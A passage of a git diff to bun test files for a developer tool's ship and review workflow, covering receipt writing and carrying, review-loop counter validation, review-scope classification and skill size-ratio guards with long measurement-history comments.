status=refused run=-'); + expect(fs.existsSync(posted)).toBe(false); + // pushed, but the edit fails: incomplete, no run record, nothing carried + fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: head })); + fs.writeFileSync(editRc, '1\n'); + const editFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env); + expect(editFailed.status).toBe(EXIT.fail); + expect(editFailed.err).toContain('gh pr edit failed: gh: validation failed; the receipt was not carried'); + expect(editFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-'); + expect(fs.existsSync(runDir)).toBe(false); + const jsonFail = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir, '--json'], env); + expect(jsonFail.status).toBe(EXIT.fail); + expect(JSON.parse(jsonFail.out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' }); + // gh pr view fails: incomplete, not refused + fs.rmSync(prJson); + const viewFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env); + expect(viewFailed.status).toBe(EXIT.fail); + expect(viewFailed.err).toContain('gh pr view failed: gh: HTTP 502'); + expect(viewFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-'); + expect(fs.existsSync(runDir)).toBe(false); + }); +}); + +describe('review_loop receipt input (harness lane E: the factory scorecard counters)', () => { + // Generated by /ship Step 7 (coverage audit of the harness lane E diff). + // Value: protects=the receipt's review_loop carries only well-formed non-negative integer counters, and `write --review-loop` + // refuses a malformed record instead of silently dropping it from the receipt the scorecard reads; fails_when=parseReviewLoop + // accepts a float, a negative or a string count, or write ignores a bad --review-loop and writes the body anyway; why_new=the + // write test covers one valid record only; seam=none; no_claim=none beyond protects + // Moved out of the heavy write test above by /ship Step 7: with the loop case appended there, that test ran 4.8–5.0 s on a + // 4-core machine and tripped bun's 5 s per-test default about every other run; the loop case needs no stamped tree receipt. + test('write --review-loop records the loop counters in the receipt and the SHIP_RECEIPT line', () => { + const repo = fixture(); + const loopFile = path.join(repo.root, 'review-loop.json'); + fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' })); + const loopBody = path.join(repo.root, 'body-loop.md'); + fs.writeFileSync(loopBody, '## Summary\n'); + const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}', + '--session-kind', 'unattended', '--queue-mode', 'stamp-at-merge', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]); + expect(withLoop.status).toBe(EXIT.ok); + expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1'); + expect(extractReceipt(withLoop.out).receipt).toMatchObject({ pr: 42, review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } }); + const written = extractReceipt(fs.readFileSync(loopBody, 'utf8')); + expect(written.errors).toEqual([]); + expect(Object.keys(written.receipt!).slice(-1)).toEqual(['review_loop']); + }); + + test('parseReviewLoop keeps integer counters and drops the rest; write --review-loop refuses a malformed record and writes nothing', () => { + expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1 })).toEqual({ passes: 2, blocking_found: 1, deferred: 1 }); + expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen', extra: 'x' })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }); + expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: -1, fixed: 1.5, scope: 'x'.repeat(40) })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, scope: 'x'.repeat(20) }); + expect(parseReviewLoop({ passes: 0, blocking_found: 0, deferred: 0 })).toEqual({ passes: 0, blocking_found: 0, deferred: 0 }); + for (const bad of [undefined, null, 'frozen', [], { passes: 2, blocking_found: 1 }, { passes: '2', blocking_found: 1, deferred: 1 }, { passes: 1.5, blocking_found: 1, deferred: 1 }, { passes: -1, blocking_found: 1, deferred: 1 }]) { + expect(parseReviewLoop(bad)).toBeUndefined(); + } + expect(receiptSummaryLine({ schema_version: 1, head: HEAD, base: 'main', review_loop: { passes: '2', blocking_found: 1, deferred: 1 } } as any)).not.toContain('passes='); + const repo = fixture(); + const body = path.join(repo.root, 'body.md'); + fs.writeFileSync(body, 'prose\n'); + const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--review-loop', '{"passes":"2","blocking_found":1,"deferred":1}', '--body', body]); + expect(r.status).toBe(EXIT.usage); + expect(r.err).toContain('--review-loop needs integer passes, blocking_found and deferred'); + expect(r.out).toBe(''); + expect(fs.readFileSync(body, 'utf8')).toBe('prose\n'); + }); }); describe('bindReceipt head matching (rule 22)', () => { diff --git a/test/helpers/carve-guards.ts b/test/helpers/carve-guards.ts index 44c845220..b6ec7dcc7 100644 --- a/test/helpers/carve-guards.ts +++ b/test/helpers/carve-guards.ts @@ -168,7 +168,7 @@ export const CARVE_GUARDS: Record = { // wave's headline capability) grows the union to 1.195x. Deliberate: // the section is on-demand (loads only for Apple store targets), so // per-invocation cost for non-iOS ships is one manifest line. - maxSizeRatio: 1.7010, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integrated tree (2026-10-10). + next-wave Lane D (GBRA-40 item 12): the pr-body Issue links step (promotion candidates and `fix #N`, owner-confirmed Supersedes/credit, `--author` for app-identity gh, lookup failures, ISSUE_LINKS_MISSING) and the handoff's issue-links run, with the `## Issues` placeholder shortened; Step 15's `Fixes:` trailer rule offset by tightening Step 15 so the skeleton stays at 80,998; measured 309,483 / 187,706 = 1.6488 (2026-10-14). + GSTA-61 Capy merge asks: the on-demand capy-pr section (What changed with before/after images, Why, Approvals; loads only when Step 19 prints CAPY_PR: on, so a non-Capy ship pays one manifest line and the three-line CAPY_PR check); measured 313,265 / 187,706 = 1.6689 (2026-10-20). + rule 22 / GBRA-108 (2026-10-25): Step 22 terminal line and Step 18 unattended routing in the skeleton, the pr-body section's receipt-check sentence and the handoff's Step 22 pointer; measured 314,027 / 187,706 = 1.6730. + harness lane E (2026-10-26, issue row 1: five Captains hit the review-loop cap): the review-army section's frozen finding scope (PASS/RANGE_BASE, gstack-review-scope classify/defer/render in Step 9.4, deferred and noted actions, the cap rule naming blocking findings), the pr-body section's Deferred findings / Review notes sections and --review-loop receipt input, Step 1's carry check; measured 318,010 / 187,706 = 1.6942. + the same lane's pass-3 cap rule in Step 9.4 decision 2 (a blocking finding still in fix scope on pass 3 stops for the owner; below the floor ships) and the adversarial step's RANGE_BASE scoping of queued fixes; measured 318,476 / 187,706 = 1.6967. + the skeleton's Review policy paragraph and the diff-plus-blocking scope value in Step 9.4; measured 319,071 / 187,706 = 1.6998. + maxSizeRatio: 1.7150, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integrated tree (2026-10-10). + next-wave Lane D (GBRA-40 item 12): the pr-body Issue links step (promotion candidates and `fix #N`, owner-confirmed Supersedes/credit, `--author` for app-identity gh, lookup failures, ISSUE_LINKS_MISSING) and the handoff's issue-links run, with the `## Issues` placeholder shortened; Step 15's `Fixes:` trailer rule offset by tightening Step 15 so the skeleton stays at 80,998; measured 309,483 / 187,706 = 1.6488 (2026-10-14). + GSTA-61 Capy merge asks: the on-demand capy-pr section (What changed with before/after images, Why, Approvals; loads only when Step 19 prints CAPY_PR: on, so a non-Capy ship pays one manifest line and the three-line CAPY_PR check); measured 313,265 / 187,706 = 1.6689 (2026-10-20). + rule 22 / GBRA-108 (2026-10-25): Step 22 terminal line and Step 18 unattended routing in the skeleton, the pr-body section's receipt-check sentence and the handoff's Step 22 pointer; measured 314,027 / 187,706 = 1.6730. + harness lane E (2026-10-26, issue row 1: five Captains hit the review-loop cap): the review-army section's frozen finding scope (PASS/RANGE_BASE, gstack-review-scope classify/defer/render in Step 9.4, deferred and noted actions, the cap rule naming blocking findings), the pr-body section's Deferred findings / Review notes sections and --review-loop receipt input, Step 1's carry check; measured 318,010 / 187,706 = 1.6942. + the same lane's pass-3 cap rule in Step 9.4 decision 2 (a blocking finding still in fix scope on pass 3 stops for the owner; below the floor ships) and the adversarial step's RANGE_BASE scoping of queued fixes; measured 318,476 / 187,706 = 1.6967. + the skeleton's Review policy paragraph and the diff-plus-blocking scope value in Step 9.4; measured 319,071 / 187,706 = 1.6998. + the same lane's pass-1 review fixes: the lead-judgment stage in the finding merge (nit gravity, hypothetical vs actual, premature structure, a different design, missing context; absorbed from pstack's interrogate), the `cause` anchor in every specialist prompt, the blocker/should/nit glossary in Step 9.4 and the two stop rules in the repeat decisions (absorbed from tstack's sol-loop), pass 2's range in the core read; measured 321,630 / 187,706 = 1.7135 (2026-10-26). }, 'plan-ceo-review': { skill: 'plan-ceo-review', @@ -487,7 +487,7 @@ do not launch the downstream skill or open a browser.`, maxSkeletonBytes: 80_900, // Shared-code identity/skip/action rules + critical-severity validation; measured 74,493 (2026-09-17). + v1.91.12.0 merge of #2999 (review clarity repairs: await reads, research alongside dispatch, /review deadline and setup authority, findings sources) with #3002 (guarded state-root lines, plan-check checkpoints); each fit alone; measured 74,881 (2026-10-01). + Oct 8 wave: shared voice directive bans "load-bearing" and adds the reply-language rule, offset by tightening the bounded closer (net +17 bytes per tier-2+ skill); measured 74,884 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W2): Step 3.5 Diff scans with the shared GATE_SCAN_BLOCK, the Step 4 carry, the four-option `review-gate-disposition` question in 5c, gate record fields in 5.8 and the Gate edits report line; measured 80,054 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): Step 4's enum-only paragraph becomes the sideways sweep with the forced-CRITICAL list, plus the flake-fix number sentence in the Gate Integrity paragraph; measured skeleton 80,812 (2026-10-10). minUnionBytes: 89_000, // Phase 4 wave 1; measured union 93,357 mustContain: ['confidence', 'P1', 'P2', 'Review Army', 'adversarial'], - maxSizeRatio: 1.2960, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10). + maxSizeRatio: 1.3100, // Shared-code feature + critical-severity validation: 128,042 union bytes / 108,523 baseline = 1.1799; preserves content floors. + v1.91.12.0 merge of #2999 (above, plus plan-completion fallback intent and specialist checklist-by-path) with #3002; measured 1.1843 (2026-10-01). + v1.91.19.0 wave: verdict-form Codex callers with sandbox preflight (INV-1/B1), P0/P1 structured gate (B1b), bound-plan discovery and data-not-instructions guard (F1/D3), visible LEARNINGS failures (B5); measured 129,941 / 108,523 = 1.1974 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 130,025 / 108,523 = 1.1981 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051); measured 130,359 / 108,523 = 1.2012 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 131,314 / 108,523 = 1.2100 (2026-10-06). Combined Oct 6 wave head (A and B): measured 131,966 / 108,523 = 1.2160 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 132,199 / 108,523 = 1.2182 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 132,258 / 108,523 = 1.2187 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 132,233 / 108,523 = 1.2185 (2026-10-07). Merged with the guard area: measured 132,522 / 108,523 = 1.2211 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 133,902 / 108,523 = 1.2339 (2026-10-08). + gate integrity W2 (above); measured 1.282 (2026-10-10). + Oct 10 multi-agent wave PR D2 (sideways review): sideways sweep and flake-fix number in Step 4; `Diff read` and `Undeclared behavior changes` in the review-mode Scope Check (plan-completion section); measured 140,497 / 108,523 = 1.2946 (2026-10-10). + harness lane E (2026-10-26): the lead-judgment stage in the finding merge and the `cause` anchor in the specialist prompts, shared with /ship through scripts/resolvers/review-army.ts; measured 141,949 / 108,523 = 1.3080. }, codex: { skill: 'codex', diff --git a/test/review-fix-range.test.ts b/test/review-fix-range.test.ts index e122db52c..a27851ecb 100644 --- a/test/review-fix-range.test.ts +++ b/test/review-fix-range.test.ts @@ -211,7 +211,7 @@ describe('ship Step 9 instructions', () => { const army = fs.readFileSync(path.join(ROOT, 'ship/sections/review-army.md'), 'utf8').replace(/\s+/g, ' '); test('pass 2+ reads the range since the previous pass under a full token; the fix-range token is /review\'s alone', () => { expect(army).toContain('Every entry saves `PASS_HEAD=$(git rev-parse HEAD)`; from pass 2 on, `RANGE_BASE` is the previous pass\'s PASS_HEAD.'); - expect(army).toContain('use `DIFF_BASE=$RANGE_BASE` instead, so reviewers read what changed since the previous pass.'); + expect(army).toContain('use `DIFF_BASE=$RANGE_BASE` instead, so every reviewer reads what changed since the previous pass.'); expect(army).toContain('Every pass captures a full token (no `--fix-range`), so the record binds the whole tree even when reviewers read only the range.'); expect(army).not.toContain('--start review --fix-range'); expect(army).toContain('gstack-review-scope classify --base --pass $PASS --range-base $RANGE_BASE'); diff --git a/test/review-loop-budget-wording.test.ts b/test/review-loop-budget-wording.test.ts new file mode 100644 index 000000000..1b6894dea --- /dev/null +++ b/test/review-loop-budget-wording.test.ts @@ -0,0 +1,55 @@ +/** + * Harness lane E: the review-loop budget's words (absorbed from tstack's sol-loop + * and pstack's interrogate, written in gstack's own words). The glossary and the + * two stop rules live where the loop decides (ship Step 9.4 and its repeat + * decisions, the checklist's Fix-First heuristic); the lead-judgment filters sit + * in the finding merge both /review and /ship render from one resolver. + */ +import { describe, expect, test } from 'bun:test'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +const ROOT = path.resolve(import.meta.dir, '..'); +const read = (p: string) => fs.readFileSync(path.join(ROOT, p), 'utf8').replace(/\s+/g, ' '); + +describe('review-loop budget wording', () => { + test('ship Step 9.4 budgets by blocker / should / nit and the repeat decisions carry the two stop rules', () => { + const army = read('ship/sections/review-army.md'); + expect(army).toContain('a **blocker** is the intended case gone wrong'); + expect(army).toContain('a **should** is a real bug a caller will hit, in the intended case'); + expect(army).toContain('a **nit** is the rest'); + expect(army).toContain('The cap is a stop, not an approval'); + expect(army).toContain('cut that growth before anything else'); + expect(army).toContain('(`git diff $RANGE_BASE` from pass 2 on)'); + expect(army).toContain('The gate scan (2.5) and the QA probes keep the whole candidate'); + expect(army).toContain('and the command still exits 0: the PR body carries the reason'); + }); + + test('the checklist glossary maps the three words onto the blocking floor and repeats the stop rules', () => { + const checklist = read('review/checklist.md'); + expect(checklist).toContain('**Severity glossary**'); + for (const word of ['**blocker**', '**should**', '**nit**']) expect(checklist).toContain(word); + expect(checklist).toContain('cut that growth first'); + expect(checklist).toContain('reaching the cap approves nothing'); + }); + + test('both review armies apply lead judgment before a merged finding counts, and every specialist prompt offers the cause anchor', () => { + for (const p of ['ship/sections/review-army.md', 'review/sections/review-army.md']) { + const text = read(p); + const judgment = text.slice(text.indexOf('#### 4. Lead judgment'), text.indexOf('#### 5. Apply specialist confidence gates')); + expect(judgment.length).toBeGreaterThan(200); + for (const filter of ['Nit gravity', 'Hypothetical, not actual', 'Structure for a case that does not exist', 'A different design is not a defect', 'Missing context']) expect(judgment).toContain(filter); + expect(judgment).toContain('returned `NO FINDINGS` was right'); + expect(text).toContain('names the changed line in `cause`'); + expect(text).toContain('Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.'); + } + }); + + test('docs/review-policy.md states the glossary, the stop rules and lead judgment once', () => { + const policy = read('docs/review-policy.md'); + expect(policy).toContain('a **blocker** is the intended case gone wrong'); + expect(policy).toContain('the cap approves nothing'); + expect(policy).toContain('the parent applies lead judgment'); + expect(policy).not.toMatch(/\b1\.91\.\d+\.\d+\b/); + }); +}); diff --git a/test/review-scope.test.ts b/test/review-scope.test.ts index dce80c091..2276cf101 100644 --- a/test/review-scope.test.ts +++ b/test/review-scope.test.ts @@ -16,6 +16,8 @@ import { } from '../lib/review-scope'; import { cleanup, makeFixtureRepo, runBin, type FixtureRepo } from './helpers/restamp-fixture'; +const ROOT = path.resolve(import.meta.dir, '..'); + const repos: FixtureRepo[] = []; const fixture = () => { const r = makeFixtureRepo({ prefix: 'review-scope-' }); repos.push(r); return r; }; afterEach(() => { while (repos.length) cleanup(repos.pop()!); }); @@ -47,6 +49,11 @@ describe('hunk parsing and locus', () => { expect(locusOf({ path: 'lib/other.ts', line: 1 }, diff, null)).toBe('outside'); expect(locusOf({ fingerprint: 'src/auth.ts:11:security' }, diff, null)).toBe('diff'); expect(locusOf({ fingerprint: 'shared-libs:abc' }, diff, null)).toBe('outside'); + expect(locusOf({ severity: 'CRITICAL', summary: 'somewhere' }, diff, null)).toBe('outside'); + // a defect the diff causes in an unchanged caller names the changed line in `cause`; the locus follows it + expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 11 } }, diff, null)).toBe('diff'); + expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/auth.ts', line: 300 } }, diff, null)).toBe('outside'); + expect(locusOf({ path: 'lib/caller.ts', line: 80, cause: { path: 'src/new.ts' } }, diff, null)).toBe('diff'); const range = parseHunks('diff --git a/src/auth.ts b/src/auth.ts\n--- a/src/auth.ts\n+++ b/src/auth.ts\n@@ -11 +11 @@\n-x\n+y\n'); expect(locusOf({ path: 'src/auth.ts', line: 11 }, diff, range)).toBe('fix-range'); expect(locusOf({ path: 'src/auth.ts', line: 42 }, diff, range)).toBe('diff'); @@ -55,6 +62,11 @@ describe('hunk parsing and locus', () => { test('kind and the blocking floor: CRITICAL defects block; advisories, test gaps and INFORMATIONAL items never do', () => { expect(kindOf({ advisory: true, severity: 'INFORMATIONAL' })).toBe('advisory'); expect(kindOf({ category: 'test-gap', severity: 'CRITICAL' })).toBe('test-gap'); + // the Testing specialist's schema (review/specialists/testing.md) emits category "testing" for every finding it returns + const real = { severity: 'CRITICAL', confidence: 7, path: 'src/auth.ts', line: 42, category: 'testing', summary: 'denied path has no test', fingerprint: 'src/auth.ts:42:testing', specialist: 'testing' }; + expect(kindOf(real)).toBe('test-gap'); + expect(isBlocking(real)).toBe(false); + expect(fs.readFileSync(path.join(ROOT, 'review/specialists/testing.md'), 'utf8')).toContain('\"category\":\"testing\"'); expect(kindOf({ category: 'security', severity: 'CRITICAL' })).toBe('defect'); expect(isBlocking({ category: 'security', severity: 'CRITICAL' })).toBe(true); expect(isBlocking({ category: 'security', severity: 'critical' })).toBe(true); @@ -94,6 +106,9 @@ describe('scope decisions', () => { 'shared-libs:deadbeef': 'outside/advisory/below/note', }); expect(scopeLine('frozen', 1, scoped)).toBe('REVIEW_SCOPE: policy=frozen pass=1 findings=6 fix=3 defer=1 note=2 blocking=3'); + // a blocking finding nobody could place is fixed now, never filed against '(no path)' + const unplaced = scopeFindings([{ severity: 'CRITICAL', category: 'logic', summary: 'somewhere' }], { policy: 'frozen', pass: 2, diffHunks: diff, rangeHunks: range }); + expect(by(unplaced)['undefined']).toBe('outside/defect/blocking/fix'); 